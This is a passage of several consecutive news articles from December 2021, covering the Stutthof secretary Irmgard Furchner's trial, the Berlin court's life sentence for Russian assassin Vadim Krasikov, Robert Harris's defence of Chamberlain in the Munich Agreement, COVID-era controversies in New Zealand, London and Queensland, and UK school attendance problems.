told the Hamburg District Court, according to DW. He added that SS guards would put on sadistic 'torture shows' including one in which a son was forced to beat his father to death in front of other inmates. Koryski said: 'You didn't know if the officers were acting on orders or if they did it on their breaks.' Holocaust survivor Manfred Goldberg told the Duke and Duchess of Cambridge in 2017: 'Jewish lives just did not count. We had to assemble in a square. They had erected an enormous gallows with eight nooses hanging down, then one by one we had to watch these innocent men being hanged.' Advertisement An arrest warrant was issued after Furchner fled her retirement home on September 30 and headed to a metro station as her trial was set to begin. The pensioner managed to evade police for several hours before being apprehended in the nearby city of Hamburg and temporarily held in custody by authorities. Furchner was released five days later 'under the condition of precautionary measures', court spokeswoman Frederike Milhoffer said earlier this year, adding that it was 'assured that she (Furchner) will appear at the next appointment'. According to media reports, the accused has been fitted with an electronic tag to monitor her whereabouts. The trial has revealed other horrific stories about the camp and those involved in its operations. In October, the court heard how SS men in white medical uniforms would pretend to be doctors who were simply measuring prisoners' height. But instead, the prisoner's height was used as the setting for a specially engineered 'neck shot' device. Around 30 prisoners were then shot in the neck within a two-hour period. In other cases, prisoners were forced into chambers which were filled with poisonous Zyklon B gas. Here prisoners screamed in agony, scratched at their skin until it was red raw, and even pulled their own hair out. Furchner, born Irmgard Dirksen on May 19, 1925, worked as secretary for the concentration camp commandant Paul Werner Hoppe. As she was only 18 at the time, she is being tried in a juvenile court, even though she is almost a hundred years old. The prosecution has claimed that her work as a secretary assisted the wider 'killing apparatus' of the concentration camp. The prosecutor described in the trial earlier this year how on July 22, 1944, SS Obersturmbahnfuhrer Paul Maurer gave orders that a group of prisoners at Stutthof be transported to Auschwitz for extermination. Four days later, a list of prisoners to be transferred was written at the commandant's office at Stutthof. At 6.05pm, commandant Hoppe, then gave confirmation by radio that the transport was en route. The prosecution then claimed that this message must have been written by Furchner. Furchner's lawyer, Wolfgang Molkentin, has previously told the court in a statement that his client denies that she is 'personally guilty of a crime'. He said: 'Irmgard Furchner does not deny the crimes of the Shoah [Holocaust]. 'Neither does she deny the terrible acts that took place as has once again been made clear to us all in the indictment. She simply rejects the charge around which this trial ultimately revolves, that she was personally guilty of a crime.' Prosecutors say that throughout her time at the camp, Furchner took dictation of Hoppe's orders and handled his correspondence. According to Christoph Rueckel, a lawyer representing Holocaust survivors, Furchner 'handled all the correspondence' for the commander. 'She typed out the deportation and execution commands' at his dictation and initialled each message herself, Rueckel told public broadcaster NDR. Furchner was first questioned by police over her involvement in the camp in February 2017, when officers also searched her apartment. It took four years and eight months to bring the case to trial, which included a medical assessment to decide whether Furchner was fit to stand. In February this year a doctor ruled the 96-year-old was fit enough, and her hearing was scheduled. In a letter sent ahead of her first scheduled hearing, the defendant told the presiding judge of the court that she did not want to appear in person in the dock. Irmgard Furchner was wheeled in by guards with a shawl, face mask and large sunglasses covering her face on October 19 Her ultimate failure to present herself showed 'contempt for the survivors and also for the rule of law', the vice president of the International Auschwitz Committee Christoph Heubner told AFP at the time. 'Healthy enough to flee, healthy enough to go to jail!,' tweeted Efraim Zuroff, an American-Israeli 'Nazi hunter' who has played a key role in bringing former Nazi war criminals to trial. Prosecutors argue that she was part of the apparatus that helped the Nazi camp function more than 75 years ago. In a previous interview with NDR, she claimed she had never actually set foot in the camp itself and insisted she had only learned about the atrocities after the war. Her lawyers say she was 'shielded' from the camp's true purpose by superiors, while prosecutors say that is impossible given her role as the commander's secretary. Furchner said she was aware that executions were taking place at the camp, but believed they were punishments for specific crimes - rather than genocidal mass-murder. Her boss, SS officer Hoppe, was convicted for his role at the camp and sentenced to nine years in prison by a West German court in 1957. He died in 1974. In evidence during that investigation, given nearly 70 years ago, Furchner acknowledged working for Hoppe but said she knew nothing of the gas chambers. The state court in Itzehoe said in a statement earlier this year that the suspect allegedly 'aided and abetted those in charge of the camp in the systematic killing of those imprisoned there between June 1943 and April 1945 in her function as a stenographer and typist in the camp commandant's office.' A lawyer for the defendant told Der Spiegel magazine earlier this year that the trial would centre on whether the 96-year-old had knowledge of the atrocities that happened at the camp. 'My client worked in the midst of SS men who were experienced in violence - however, does that mean she shared their state of knowledge? That is not necessarily obvious,' Wolf Molkentin said. According to other media reports, the defendant was questioned as a witness during past Nazi trials and said at the time that the former SS commandant of Stutthof, Paul Werner Hoppe, dictated daily letters and radio messages to her. The secretary worked for Nazi commandant Paul Werner Hoppe (pictured left), who was convicted by a West German court in 1957 and died in 1974. The Nazis murdered around 65,000 people in Stutthof (pictured right) and its subcamps, which were operational from September 2, 1939 until May, 9, 1945 Still, Furchner testified she was not aware of the killings that occurred at the camp while she worked there, the German news agency dpa reported. Around the same time Furchner fled her trial, a 100-year-old former Nazi concentration camp guard appeared before judges at a court in Neuruppin, northwest of Berlin. Josef Schuetz, who stands accused of assisting in the murder of 3,518 prisoners at the Sachsenhausen camp between 1942 and 1945, told the court he was 'innocent' and 'knows nothing' about what happened at the camp. Along with Furchner, the two are among the oldest defendants to stand trial for their alleged roles in the Nazi system. Seventy-six years after the end of World War II, time is running out to bring people to justice. Prosecutors are investigating another eight cases, according to the Central Office for the Investigation of National Socialist Crimes. In recent years, several cases have been abandoned as the accused died or were physically unable to stand trial. The last guilty verdict was issued to former SS guard Bruno Dey, who was handed a two-year suspended sentence in July at the age of 93. New Zealand's more 'adventurous' citizens can rest easy as the Prime Minister confirmed rendezvous of up to 25 people are allowed after months in lockdown. Prime Minister Jacinda Ardern had the tongue-in-cheek moment on nighttime current affairs show Seven Sharp while discussing 'Tinder liaisons.' Ms Ardern was talking to hosts Hilary Barry and Jeremy Wells about New Zealand's 'traffic light' system when the risque topic came up. New Zealand's more 'adventurous' citizens can rest assured as the Prime Minister Jacinda Ardern (above) confirms rendezvous of up to 25 people are allowed 'I can confirm that Tinder liaisons have reopened,' Ardern told the hosts. 'It's not strictly embedded in the traffic light system but um, it is a given, up to 25 actually, in a red area.' It's not the first time the Ms Ardern has had to answer some X-rated questions in regard to New Zealand's lockdown rules. After NZ released an ambiguous 'Two Shots' vaccination ad that told Kiwis they needed 'two shots to do the deed' many were left with more questions than answers. New Zealand comedian Chris Parker asked the question on everyone's mind - when are hookups - allowed on an Instagram video. The PM was quick to respond with a blushing emoji but didn't clarify the rules around the subject. New Zealand re-entered lockdown in August after the first case of community transmission was recorded in six months. The country has been in varying stages of lockdown since with the new system introduced to help confusion about different rules in various areas. One Kiwi died with the virus on Wednesday and 74 new cases were reported. All of New Zealand - except for Northland - will be moved to an orange light before New Years celebrations. Advertisement Right up until he shot himself on April 30, 1945, the defeated Nazi dictator Adolf Hitler regretted the deal he struck with British Prime Minister Neville Chamberlain in September 1938. The famous Munich Agreement, which was also signed by France and Italy, ceded the Sudetenland region of what was then Czechoslovakia to Hitler in the hope that the concession would be enough to avoid Europe-wide armed conflict after months of tensions caused by Germany's territorial ambitions. But the deal also destroyed Hitler's plans, because he had been preparing to use the issue of the Sudetenland - which had been taken from Germany in the Treaty of Versailles after the First World War - as a justification for war. Instead, the pact forced him to hold back and he was left so furious that it is claimed he said soon after Chamberlain had returned to Britain: 'If ever that silly old man comes interfering here again with his umbrella, I'll kick him downstairs and jump on his stomach in front of the photographers.' Whilst Chamberlain told the British public afterwards that he believed it was 'peace in our time', Hitler rode roughshod over the deal the following year by annexing all of Czechoslovakia in March and invading Poland on September 1. It was that last act of aggression which was the final straw even for the peace-loving Chamberlain, who declared war on Germany on September 3. Chamberlain went on to be ridiculed domestically for attempting to appease Hitler with a deal that ultimately failed spectacularly and even now his name is synonymous with the toxic policy of appeasement. Now, upcoming Netflix drama Munich The Edge of War, which is an adaptation of a novel by English historical fiction writer Robert Harris, paints Chamberlain in a more sympathetic light. Speaking exclusively to MailOnline on Thursday ahead of the film's release in January, Mr Harris said that although it is 'convenient' to scapegoat Chamberlain, the delay to war which his 'shrewd' Munich Agreement brought gave Britain vital time to rearm for when conflict did eventually come. As a result, he said Chamberlain left Britain 'quite strongly defended' with 'hundreds' of Spitfires and the backup of the newly-invented Radar air defence system when he resigned as Prime Minister in May 1939. Right up until he shot himself on April 30, 1945, the defeated Nazi dictator Adolf Hitler regretted the deal he struck with British Prime Minister Neville Chamberlain in September 1938. The famous Munich Agreement, which was also signed by France and Italy, ceded the Sudetenland region of what was then Czechoslovakia to Hitler in the hope that the concession would be enough to avoid Europe-wide armed conflict. Above: Chamberlain holds his umbrella as he stands next to Hitler whilst meeting German general Wilhelm Keitel in Munich Hitler was left so furious that it is claimed he said soon after Chamberlain had returned to Britain: 'If ever that silly old man comes interfering here again with his umbrella, I'll kick him downstairs and jump on his stomach in front of the photographers'. Above: Hitler and Chamberlain pose for a photograph in September 1938 Now, upcoming Netflix drama Munich The Edge of War, which is an adaptation of a novel by English historical fiction writer Robert Harris, paints Chamberlain in a more sympathetic light. Above: English actor Jeremy Irons is seen in character as Chamberlain next to Hitler, Italian dictator Benito Mussolini and French PM Daladier Set during the run-up to the signing of the Munich Agreement, Netflix's new drama stars Jeremy Irons as Chamberlain and George Mackay as his fictional civil servant aide Hugh Legat. Legat and his old friend Paul von Hartman (Jannis Niehwohner), a German diplomat, both travel to Munich for the conference and end up being engulfed in a web of political subterfuge. Hitler, Italian dictator Benito Mussolini and the then French prime minister Edouard Daladier are all depicted in both the novel which is just called Munich and the new Netflix drama. The trailer, which was released this month, shows the chilling moment that von Hartman encounters Hitler, who demands 'where are you going?' as he tries to leave the room at a formal dinner. The film also recreates the meetings between the world leaders at the conference, including the moment that Hitler, Chamberlain, Mussolini and Daladier pose together for a joint photograph. Speaking of his view of the agreement, Mr Harris said: 'The common view of Munich is that Hitler was bluffing and managed to without a shot being fired get all that he wanted from this kind of weak appeasing Prime Minister. 'In point of fact, the history very much suggests that Hitler really wanted to invade Czechoslovakia, he didn't just want the Sudetenland, he wanted to wipe out Czechoslovakia full stop. Whilst Chamberlain told the British public after the Munich Agreement was signed that he believed it was 'peace for our time', Hitler rode roughshod over the deal the following year by annexing all of Czechoslovakia in March and invading Poland on September 1 Speaking exclusively to MailOnline on Thursday ahead of the film's release in January, Mr Harris said that although it is 'convenient' to scapegoat Chamberlain, the delay to war which his 'shrewd' Munich Agreement brought gave Britain vital time to rearm for when conflict did eventually come. Right: The cover of his 2017 novel, which is called Munich 'He found himself laying out demands which Chamberlain was able to meet.' He said that Hitler was left 'very angry' with the deal and continued to argue right up until weeks before his death that Germany should have gone to war in September 1938. Mr Harris's novel features Hitler's desperate statement in February 1945, when he said: 'We ought to have gone to war in 1938, September 1938 would have been the most favourable date.' Because the Sudetenland's population was mostly made up of three million Germans, many in Britain did not see any issue with Germany's takeover of the territory. It meant that, if Britain had gone to war rather than striking the deal in Munich which handed Germany the Sudetenland, Chamberlain would have found it much harder to convince the British people that it was the right thing to do. By contrast, there was overwhelming backing for Britain's decision to declare war in September 1939 after Germany's invasion of Poland. Set during the run-up to the signing of the Munich Agreement, Netflix's new drama stars George Mackay (left in character) as fictional civil servant Hugh Legat. Legat and his old friend Paul von Hartman (Jannis Niehwohner), a German diplomat, both travel to Munich for the conference and end up being engulfed in a web of political subterfuge Mr Harris said: 'Chamberlain's policy was a failure, he said everything he believed in was in ruins. It was a noble effort in many ways and quite a shrewd one'. Above: Jeremy Irons as Chamberlain, giving a speech in the House of Commons 'So it is not only that it [the Munich Agreement] gave us time to equip the air force with spitfires and the radar defence that saved us, it is that it gave us the moral advantage,' Mr Harris said. 'And also, in 1939 we had the backing of the empire, Canada and Australia and so on, which we would not have had if we had tried to fight in September 1938. Britain really would have been on its own.' 'I can understand why everyone has heaped so much blame on Chamberlain, it is very convenient,' he added. 'Chamberlain's policy was a failure, he said everything he believed in was in ruins. It was a noble effort in many ways and quite a shrewd one. 'What's the point of just repeating the same old story? Churchill knew that for him to look good, it was necessary for Chamberlain to look bad. 'Chamberlain left the country quite strongly defended. He did actually declare war on Hitler after guaranteeing Poland. 'I think it is quite important for a country not just to repeat comforting myths but to look at reality.' Chamberlain's replacement as PM, Winston Churchill, was one of the fiercest critics of Chamberlain's appeasement policy. Adolf Hitler greets British Prime Minister Neville Chamberlain at Munich in September 1938. Chamberlain hoped that striking a deal with Hitler would avoid war British Prime Minister Neville Chamberlain, Adolf Hilter and his interpreter Dr. Paul Schmidt meet in Berchtesgaden, Germany After the PM hailed the success of the Munich Agreement in 1938, Churchill warned him that he had a choice between 'war and dishonour' but because he had chosen the latter 'you will have war'. Chamberlain's downfall as PM came after the failure of the Allied campaign to defend Norway against Hitler's rampaging forces. When Churchill took over in Downing Street on May 10, Chamberlain remained as leader of the Conservative Party and adopted the position of Lord President of the Council in his former rival's War Cabinet. However, his ongoing presence in Government prompted attacks from both Labour and the Liberal Party, who wanted him to leave frontline politics altogether. Fierce criticism came from the press, with a polemic titled Guilty Men written by a trio of journalists which included future Labour leader Michael Foot selling more than 200,000 copies. It accused Chamberlain and his government of failing to prepare adequately for the prospect of war with Germany. The tome called for the removal of Chamberlain and other ministers they deemed responsible for Britain's failures in the first months of the war. However, by July 1940, the critics' calls were answered in a different way: when surgeons discovered that Chamberlain was suffering from terminal bowel cancer. Whilst his doctors initially concealed the terrible news from him, Chamberlain was forced to leave Government when he was beset by repeated bouts of severe pain. Whilst his formal resignation as Lord President of the Council came on October 3, he had told Churchill in September that he wished to step down. Then, on November 9, Chamberlain passed away and Churchill paid tribute to him in the House of Commons. Shaun Bailey has apologised after a picture emerged of him at a lockdown-busting Christmas party last year. The former London mayor candidate said it was 'a serious error of judgement' and he regrets it 'wholeheartedly'. But he added that he had only dropped in to give a speech and thank his team before leaving shortly after. The Tory was seen smiling alongside a crowd of staffers as well as billionaire donor Nick Candy during the 'raucous' gathering. The group of about 24 were closely huddled with no social distancing at Conservative Campaign Headquarters on December 14, 2020. Mr Bailey bowed to pressure last night and resigned as chair of the London Assembly's policing and crime committee. The Tory was seen smiling alongside a crowd of staffers as well as billionaire party donor Nick Candy during the 'raucous' gathering Mr Bailey tweeted this afternoon: 'I want to apologise unreservedly for attending a gathering held by some of my staff in my campaign office last December. 'I gave a speech to my team to thank them for their efforts, before leaving shortly afterwards. 'It was a serious error of judgement at a time when Londoners were making immense sacrifices to keep us all safe and I regret it wholeheartedly.' Downing Street staff were also at the party, which included dancing into the early hours despite Tier 2 restrictions in London barring indoor socialising. Four staff members have been disciplined over the 'raucous' gathering, in which a door was reported to have been damaged. An image taken on the night shows Mr Bailey, 50, in the middle of a crowd of 24 huddled closely at CCHQ with platters of food nearby. None of the partygoers were wearing masks and some of them - including billionaire Tory donor Mr Candy - raised their drinks to toast the night. Mr Bailey had been scheduled to chair Wednesday's police and crime committee, where it was expected London Assembly Members would demand he step down. But an email announced City Hall Conservative leader Susan Hall would chair the committee in the interim. A Tory spokesman from the Greater London Assembly said: 'Shaun Bailey AM has stood aside as Chairman of the London Assembly's Police and Crime Committee. 'He does not want an unauthorised social gathering involving some former members of the London mayoral campaign team last December to distract from the Committee's important work holding the Mayor of London to account. 'He will continue to speak up for Londoners who no longer feel safe in our city and push for a strategy to tackle the disproportionate level of crime in London's black community.' A campaign spokesman for Mr Bailey added: 'On the evening of 14 December 2020, at the end of the working day, the campaign hosted a post-work event to thank campaign staff for their efforts over the course of the year. 'This was a serious error of judgement and we fully accept that gathering like this as that time was wrong and apologise unreservedly.' '[Mr Bailey] does not want an unauthorised social gathering involving some former members of the London mayoral campaign team last December to distract from the Committee's important work,' said a Conservative spokesman Labour's London Assembly policing lead Unmesh Desai AM said: 'Shaun Bailey still has to answer questions put to him by the Labour group.' They demanded to know who attended the party and whether Mr Bailey received any gifts. Conservative Party Chairman Oliver Dowden is said to have been 'appalled' by the image showing the bash at Tory HQ. Several hours before the gathering, the then Health Secretary Matt Hancock had announced London would move into Tier 3 restrictions. A Conservative Party spokesman said: 'Senior CCHQ staff became aware of an unauthorised social gathering in the basement of [CCHQ] organised by the Bailey campaign on the evening of 14th December. 'Formal disciplinary action was taken against the four CCHQ staff who were seconded to the Bailey campaign.' Mr Bailey (pictured with wife Ellie) is understood to have left the party at Tory HQ early in the evening on December 14 last year, shortly after a photograph was taken of 24 people huddled together Labour deputy leader Angela Rayner told the Mirror: 'This is damning new evidence of a party, with a buffet, drinks, Christmas attire and absolutely no social distancing held at Conservative Party HQ. 'Shaun Bailey is an elected official that is clearly breaking Covid regulations in this photo and encouraging the same of his staff. 'Whilst everyone else was making sacrifices to keep their community safe, the chair of the Police and Crime committee in the Greater London Authority was partying. 'His position as chair was untenable and he knew that.' Mr Bailey, who is teetotal, is understood to have left the party early in the evening, shortly after the picture was taken. Annastacia Palaszczuk has come under fire after promoting a new ride being debuted by Dreamworld, five years on from the fatal Thunder River Rapids tragedy. Queensland's premier took to Twitter on Wednesday to announce the Gold Coast amusement park had added another roller coaster to its list of attractions. 'Dreamworld's new $32 million rollercoaster is officially open,' she wrote. 'The brand new Steel Taipan rollercoaster was unveiled today as Dreamworld celebrates its 40th birthday. The thrill ride features the first rear spinning gondola in the world, the Tailwhip 360.' Annastacia Palaszczuk (pictured) has been slammed for spruiking a new $32million rollercoaster at Dreamworld But some felt it was still too soon after the 2016 tragedy for the Premier to be promoting Dreamworld's rides. On October 25, 2016, Kate Goodchild, her brother Luke Dorsett, his partner Roozi Araghi, and NSW mother Cindy Low were killed when their raft hit another and flipped, leaving them trapped underwater in the mechanism. 'This Dreamworld?' one man wrote in response to the Premier's tweet, alongside an image of a media report about the incident. 'Are ride operators trained in safety procedures this time round?' another wrote. 'I can't believe you didn't shut down this theme park from the sinister and deadly event that took place,' someone else said. 'Is that the Dreamworld that killed 4 people then blamed it on a low paid 18ish year old girl who was untrained and on her 1st day of work? That Dreamworld?' a fourth wrote. Ms Palaszczuk announced the amusement park's new Steel Taipan (pictured) rollercoaster was now officially open Others questioned what role the government played in funding the rollercoaster and in helping keep the troubled park open after the notorious incident. 'Didn't the Government (Treasury Corporation) have to stump up $10 million for them for continued operating costs?' one man asked. 'Yeah the QLD government paid for that [new] ride,' another said. Dreamworld's parent company Ardent Leisure were ordered to pay $3.6million in fines after pleading guilty to safety charges over the tragedy in September 2020. The tragedy unfolded when a water pump malfunctioned causing water levels in the ride to fall dangerously low. The victims' raft collided with another after becoming stuck in the low water. It partially flipped, flinging the group into the mechanised conveyor that moved the rafts. Four people tragically died at Dreamworld (pictured) when a ride malfunctioned in 2016. The theme park's parent company Ardent Leisure was ordered to pay $3.6million after pleading guilty to safety charges Outraged Queenslanders questioned why the premier was spruiking the amusement park One person asked whether the amusement park had improved its safety mechanisms since the accident Ms Goodchild's 12-year-old daughter and Ms Low's 10-year-old son were both in the raft during the horrific accident that killed their mothers, but escaped uninjured. The malfunction was the third that day and the fifth in a week, and no automated shutdown function was installed despite recommendations. During Ardent Leisure's sentencing hearing, Workplace Health and Safety said the company failed to provide and maintain safe plant and structures and systems of work at the Gold Coast theme park. The company also failed to provide information, training, instruction or supervision necessary to protect people from risk. The Dreamworld outcry comes after just hours after the Palaszczuk government backflipped on its decision to force passengers on two planes to spend Christmas in isolation after a Covid case travelled on both flights. Queensland Health on Tuesday evening said passengers on flights VA1105 from Newcastle to Brisbane and VA375 from Brisbane to Townsville, both on Monday, December 13, were close contacts and would need to isolate until December 27. The decision - which would have ruined Christmas for the hundreds of passengers - sparked outrage, including from Prime Minister Scott Morrison. Kate Goodchild (nee Dorsett), 32, (right) and her brother Luke Dorsett (left) were killed when Dreamworld's Thunder River Rapids malfunctioned in October 2016 Dreamworld's parent company was sued $3million over the incident which took the lives of Roozi Araghi (left) and Cindy Low (right) Queensland Emergency Services personnel at the Thunder River Rapids ride in Dreamworld on the day of the tragedy Hours later, on Wednesday morning, Queensland Health Minister Yvette D'Ath announced travellers on the flights would be instead classified as casual contacts, rather than close, meaning they would be tested and released from quarantine. The decision to force the passengers into isolation erupted on Wednesday morning, with Prime Minister and other prominent Australians weighing into the controversy. On Brisbane radio this morning, Mr Morrison urged the Queensland government to reunite passengers with their families. 'PCR testing, being able to look at ways to ensure people be able to join their families before Christmas, I would hope, is a very high priority for them,' he told Spencer Howson on 4BC. Sales, the host of ABC's current affairs 7.30 program, was quick to ask why Queensland ordered hundreds of travellers on board two Virgin flights into 14 days of isolation after a passenger tested positive for Covid-19. Passengers on board flights VA1105 from Newcastle to Brisbane and VA375 from Brisbane to Townsville, both on Monday, December 13, were close contacts of the positive case and will need to isolate until December 27, ruining their Christmas It's not the first time the ABC's 7.30 presenter has weighed in on the Covid policies of state governments and health authorities 'Flights have been going between NSW and Vic for months - has there been a single superspreader event on a flight relating to a Covid case?' tweeted Sales. 'What is the basis of Qld locking up planeloads of vaxed people for Christmas without warning or precedent?' Meanwhile, Grimshaw, the host of Nine's A Current Affair, pointed out the hypocrisy of the Prime Minister being able to move around the state while travellers on the plane were forced to isolate for two weeks. 'The PM is a casual contact, double vaxxed, two negative tests and free to enter and move around QLD,' Grimshaw Tweeted. 'But a planeload of double vaxxed almost all casual contacts are locked in Xmas quarantine for 2 wks regardless of tests. 'Rules have to make sense or people will reject them.' Germany announced today it had expelled two more diplomats after the ruling The murder prompted the German government to expel two Russian diplomats - and Moscow responded by doing the same A Russian assassin has been jailed for life for murdering a former Chechen rebel commander on the orders of Moscow in a central Berlin park. Vadim Krasikov, 56, who went under the alias Vadim Sokolov, was found guilty of killing 40-year-old Zelimkhan Khangoshvili in Berlin's Kleiner Tiergarten park on August 23 2019. Berlin's regional court said Krasikov carried out the killing on the orders of the Russian state, having entered the country on a fake French-issued passport, and sentenced him to life in prison. The court ruled that Russian security services provided Krasikov with a false identity, fake passport and the resources to carry out the 2019 hit. Moscow today slammed the ruling as 'political' and said the verdict 'seriously aggravates already difficult Russian-German relations'. Following the verdict, Germany also expelled two Russian diplomats, Foreign Minister Annalena Baerbock said on Wednesday. 'This murder by order of the state as determined by the court today constitutes a serious violation of German law and sovereignty,' Baerbock said. The 2019 murder sparked outrage in Germany and inflamed diplomatic tensions between Berlin and Moscow. Khangoshvili, who had been seeking asylum in Germany, led troops fighting against Russia in the Second Chechen War, and was considered a terrorist by Moscow. Vadim Krasikov, 55 (left), was jailed for life by a German court for shooting dead Zelimkhan Khangoshvili, 40 (right), in a Berlin park in 2019 Berlin's regional court said Krasikov carried out the killing on the orders of the Russian state, having entered the country on a fake French-issued passport, and sentenced him to life in prison. Pictured: Inside the court room in Berlin on Wednesday Defense lawyers had asked the court to acquit their client, who claimed a case of mistaken identity. But judges said Krasikov bore 'particularly grave responsibility' for the slaying, meaning he will not be entitled to the automatic parole after 15 years that is customary in Germany. The victim's relatives, who under German law were allowed to take part in the trial as co-plaintiffs, accused Russia last week of trying to 'send a message' to its political enemies by killing Khangoshvili, who had claimed asylum in Germany three years earlier. Krasikov traveled to Berlin under the alias Vadim Sokolov in August 2019 at the behest of the Russian government for a 'state-contracted killing,' prosecutors said. Krasikov shot Khangoshvili from behind with a silencer-fitted handgun in broad daylight in the Berlin park. With Khangoshvili lying on the ground, Krasikov allegedly fired two more bullets into his head, killing him. Khangoshvili - who was identified by German authorities using a pseudonym, Tornike Kavtarashvili - had been on his way to Friday prayers when he was killed. Witnesses saw the suspect throw a bike, a gun and a wig in the Spree River near the scene and alerted police, who quickly arrested him before he could make off on an electric scooter parked in a doorway. The murder prompted the German government to expel two Russian diplomats - and Moscow responded by doing the same. The judge said: 'In June 2019 at the latest, state organs of the central government of the Russian Federation took the decision to liquidate Tornike Khangoshvili in Berlin,' the judge said. 'Four children lost their father, two siblings their brother.' Khangoshvili (right, with former Chechen president Aslan Maskhadov, left) led troops against Russian in the Second Chechen War, and was considered a terrorist by Moscow Russian President Vladimir Putin's spokesman, Dmitry Peskov, has called the allegations of Russian involvement in the Berlin killing 'absolutely groundless.' But months after the killing, Putin said after a meeting with then Chancellor Angela Merkel that the victim had been a 'bandit' and a 'murderer,' accusing him of killing scores of people during fighting in the Caucasus. Krasikov's true identity was revealed by investigative website Bellingcat, which said he grew up in Kazakhstan when it was part of the Soviet Union before moving to the Russian region of Siberia. He received training from Russian intelligence service FSB and was part of its elite squad, the website said. Days before the August 2019 killing, he had posed as a tourist, visiting sights in Paris including the Eiffel Tower before travelling to Warsaw, according to a report in Der Spiegel weekly. He also toured the Polish capital before vanishing on August 22, without checking out from his hotel, the report said. After being arrested in Germany, police found his mobile phone and a return flight ticket for Moscow on August 25 in his hotel room in Warsaw, Spiegel reported. Krasikov shot Khangoshvili from behind with a silencer-fitted handgun in broad daylight in the Berlin park (scene, pictured) Putin had described the victim as a 'fighter, very cruel and bloody' who had fought with separatists against Russian forces in the Caucasus and also been involved in bombing attacks on the Moscow metro. Moscow also said it had been seeking his extradition. The outcome of the trial could stoke fresh tensions between Germany and Russia at a time when the new government of Chancellor Olaf Scholz is trying to find its foreign policy footing with Moscow. German-Russian relations took a further hit last year after Merkel intervened to fly poisoned Russian opposition leader Alexei Navalny to Berlin for medical treatment. Navalny says he was poisoned by Russian agents, which Moscow denies. After returning to his home country, Navalny was sentenced to two-and-a-half years in prison for violating the terms of his probation while convalescing in Germany. In 2018, a year before Khangoshvili's murder, Russian agents poisoned former Russian agent Sergei Skripal and his daughter Yulia with Novichok in Britain. The Skripals were left fighting for their lives after members of a Russian military intelligence hit squad smeared the deadly weapon on Mr Skripal's front door in Salisbury. The attack seriously injured police officer Nick Bailey and Salisbury resident Charlie Rowley, whose partner, 44-year-old Dawn Sturgess, later died. Sergei Skripal - seen with his daughter, Yulia - served as a double agent for the UK's intelligence services during the 1990s and early 2000s Mother-of-three Dawn Sturgess (left) and her partner Charlie Rowley (right) fell ill at the flat after she handled a perfume bottle containing the poison. She died while Mr Rowley recovered In September this year, Scotland Yard named a Russian paratrooper captain turned GRU spy as the third man wanted over the Salisbury Novichok attack, as UK Home Secretary Priti Patel warned Britain will take 'every possible step' to extradite the suspects. Police said Sergey Fedotov, real name Denis Sergeev, faces a string of charges including trying to kill the Skripals and Bailey. Fedotov is accused of seven charges, including three of attempted murder as well as conspiracy to murder Sergei Skripal, causing grievous bodily harm with intent to Yulia and Mr Bailey, and possession and use of a chemical weapon. Alexander Petrov (left) and Ruslan Boshirov, the two other Russian military intelligence officers accused of carrying out the poisoning Officers identified the third Salisbury poisoning suspect as Sergey Fedotov (real name Denis Sergeev) and said he was a Russian national, aged about 50. This image is taken from his travel documents These are the same counts faced by two other suspects in the case already identified by police in 2018 - Alexander Mishkin, who used the name Alexander Petrov while in the UK, and Anatoliy Chepiga, who used the alias Ruslan Boshirov. Sergei and Yulia Skripal were found on a park bench in Salisbury after they were poisoned with the nerve agent Novichok, believed to have been smeared on the door handle at Mr Skripal's home. The attack is believed to have been ordered by Russian intelligence in revenge for Skripal's work as a double agent for MI6 during the 1990s. He was arrested in 2004 and moved to the UK six years later following a spy-swap deal. Det Sgt Nick Bailey, one of the police officers who responded to the attack was also taken seriously ill following the attack on March 4 2018. Four months later Dawn Sturgess, a 44-year-old mother of three, died from a dose of the nerve agent after her partner, Charlie Rowley, found a discarded bottle which turned out to contain the nerve agent. Russia has for years drawn the ire of Western powers, from annexing Ukraine's Crimea to meddling in elections and backing President Bashar al-Assad's government in Syria. German's new foreign minister, Annalena Baerbock, has called for a tougher stance toward Russia, especially over its military buildup near Ukraine. But Scholz has called for a new 'Ostpolitik' - or policy toward the east - of the kind that his Social Democratic predecessor as chancellor, Willy Brandt, pursued during the Cold War. Retired teachers should step up and keep schools open, an MP has urged as he warned Britain is moving towards 'de facto closures'. Dozens of schools have shut across England, with many choosing to revert back to online learning with just a few days to go before the end of term. Schools and union leaders have urged the government to provide clear guidance on closures and reopening in 2022. Conservative MP Robert Halfon argued an 'army of retired teachers' need to be recruited as schools battle Covid-related staff absence amid the rise of the Omicron variant. Meanwhile, Labour said the Government should do 'everything humanly possible' to keep children in face-to-face education and Downing Street said parents should not be taking their children out of school early in a bid to save Christmas. New attendance figures show some 235,600 students were absent from their school last week, the second highest figure this year, and around 17,000 teachers were also believed to be at home. Schools have been left in chaos and confusion as growing Covid cases meant a quarter of a million pupils were out of classrooms - and it wasn't clear whether they would return in January Conservative MP Robert Halfon (pictured) said an 'army of retired teachers' needed to be recruited to support struggling schools after many said they were struggling with Covid-related staff absence Education union leaders including Geoff Barton of the ASCL (left) and Paul Whiteman of NAHT (right) have called on the government to give clear guidance on the return to school in January after ministers said the couldn't promise school would not have to shut Downing Street has said that schools should not be closing early for the Christmas holidays, unless they are ordered to on public health grounds. Secondary schools will be offered a 'small amount of flexibility' on when they return after Christmas Secondary schools will be offered a 'small amount of flexibility' on when they return after Christmas, the Government has said. Education minister Alex Burghart said such an approach would enable schools to put in place measures to test pupils for Covid on their return from their break. But he faced a barrage of calls from Conservative MPs to ensure schools remain open in the new year, while a teaching union urged the Government to stagger the return of pupils amid concerns about the Omicron variant. Responding to an urgent question, Mr Burghart said: 'The Government is committed to ensuring schools open in January as normal. 'The classroom is the very best place for children and young people's development.' He added: 'Protecting education continues to be our absolute priority.' He said testing, vaccination, ventilation and hygiene 'are the ways in which we will absolutely back schools to make sure that in-classroom teaching can continue'. Mr Burghart added: 'We are recommending that at the start of next term all secondary school pupils will be tested right at the start of term, and we are offering a small amount of flexibility for the time at which schools can go back in order to make sure that this testing can take place. 'We are offering additional funding to make sure that this testing is available. I can reassure the House that schools have and will have all of the testing facilities that they require.' Advertisement The Prime Minister's official spokesman said: 'The best place for children - who have in many respects suffered the most through this pandemic - is in school, receiving vital face-to-face education.' The spokesman said: 'It's important schools - and indeed parents - don't take precautionary steps to deprive their children of education.' The labour Party has backed calls to keep children in classrooms. A spokesman said: 'We cannot afford to have any more disruption to children's education and that means ensuring schools are both safe and open for pupils to be able to continue learning together.' Asked about what should happen if there is a staff shortage, he said: 'Well, the priority has to be keeping schools open. 'Robert Halfon had what I thought was a sensible suggestion around looking at the ways in which the retired workforce could be mobilised, if necessary, so that we can do everything we can to keep the schools open. 'The main part of that, I think, is ensuring that every 12 to 15-year-old has been offered a 